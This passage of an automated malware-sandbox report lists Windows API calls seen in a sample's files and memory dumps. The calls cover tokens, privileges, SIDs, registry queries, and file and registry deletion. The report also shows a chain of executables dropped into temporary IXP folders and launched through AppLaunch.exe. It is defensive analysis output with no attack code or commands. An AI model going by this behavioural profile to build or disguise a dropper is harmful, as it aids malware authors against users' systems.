File: "file") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "6Hy6xt9.exe.782150845") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "6Hy6xt9.exe.782150845") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")49:T7d2,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "file") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "file") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "file") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4a:T4a1,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "file") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; File: "file") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install" (Indicator: "GetProcAddress"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4b:Tc6a,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "file") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "file") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "file") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "file") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "file") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "file") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "4Sq071Or.exe.1044796902") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4c:T55a,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "file") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "file") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "4Sq071Or.exe.1044796902") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "4Sq071Or.exe.1044796902") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4d:T658,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "file") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "file") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4e:T51e,Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; File: "file") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegDeleteValue"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")4f:T7ad,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "file") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "file") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "file") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "file") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "file") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000840.00000002.70951.003E1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000840.00000002.70951.003E1000.00000020.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002480.00000000.67024.00BB1000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00002480.00000000.67024.00BB1000.00000020.mdmp") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")50:T548,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "file") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")51:Tade,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "file") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "file") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")52:T1289,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: file] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: file] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: file] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: file] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: file] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ZM6QY65.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: ZM6QY65.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ZM6QY65.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ZM6QY65.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ZM6QY65.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Wt6LG75.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Wt6LG75.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Wt6LG75.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Wt6LG75.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Wt6LG75.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Yf6UX21.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Yf6UX21.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Yf6UX21.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Yf6UX21.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Yf6UX21.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: NS0zj81.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: NS0zj81.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NS0zj81.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: NS0zj81.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: NS0zj81.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: NH5Ot82.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: NH5Ot82.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NH5Ot82.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: NH5Ot82.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: NH5Ot82.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5og8kJ2.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5og8kJ2.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5og8kJ2.exe]53:Tedd,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\ZM6QY65.EXE"; Value: "") "ZM6QY65.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\WT6LG75.EXE"; Value: "") "Wt6LG75.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\YF6UX21.EXE"; Value: "") "Yf6UX21.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\NS0ZJ81.EXE"; Value: "") "NS0zj81.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\NH5OT82.EXE"; Value: "") "NS0zj81.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\3XL71VC.EXE"; Value: "") "NH5Ot82.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\1OH97OL0.EXE"; Value: "") "NH5Ot82.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\2NJ9351.EXE"; Value: "") "1oh97OL0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "2NJ9351.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")54:T710,"ZM6QY65.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\ZM6QY65.exe]- [targetUID: 00000000-00003448] "Wt6LG75.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Wt6LG75.exe]- [targetUID: 00000000-00003448] "4Sq071Or.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Sq071Or.exe]- [targetUID: 00000000-00000840] "2NJ9351.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2NJ9351.exe]- [targetUID: 00000000-00006492] "Yf6UX21.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Yf6UX21.exe]- [targetUID: 00000000-00000840] "1oh97OL0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1oh97OL0.exe]- [targetUID: 00000000-00002592] "NS0zj81.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\NS0zj81.exe]- [targetUID: 00000000-00000840] "NH5Ot82.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\NH5Ot82.exe]- [targetUID: 00000000-00007408] "5og8kJ2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5og8kJ2.exe]- [targetUID: 00000000-00002608] "6Hy6xt9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Hy6xt9.exe]- [targetUID: 00000000-00003448] "7Us0xM51.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7Us0xM51.exe]- [targetUID: 00000000-00002480] "3xL71Vc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3xL71Vc.exe]- [targetUID: 00000000-00007408]55:T469,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "ZM6QY65.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Wt6LG75.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Yf6UX21.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "NS0zj81.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "NH5Ot82.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1oh97OL0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2NJ9351.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3xL71Vc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")56:T710,"ZM6QY65.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\ZM6QY65.exe]- [targetUID: 00000000-00003448] "Wt6LG75.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Wt6LG75.exe]- [targetUID: 00000000-00003448] "4Sq071Or.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Sq071Or.exe]- [targetUID: 00000000-00000840] "2NJ9351.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2NJ9351.exe]- [targetUID: 00000000-00006492] "Yf6UX21.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\Yf6UX21.exe]- [targetUID: 00000000-00000840] "1oh97OL0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1oh97OL0.exe]- [targetUID: 00000000-00002592] "NS0zj81.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\NS0zj81.exe]- [targetUID: 00000000-00000840] "NH5Ot82.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: 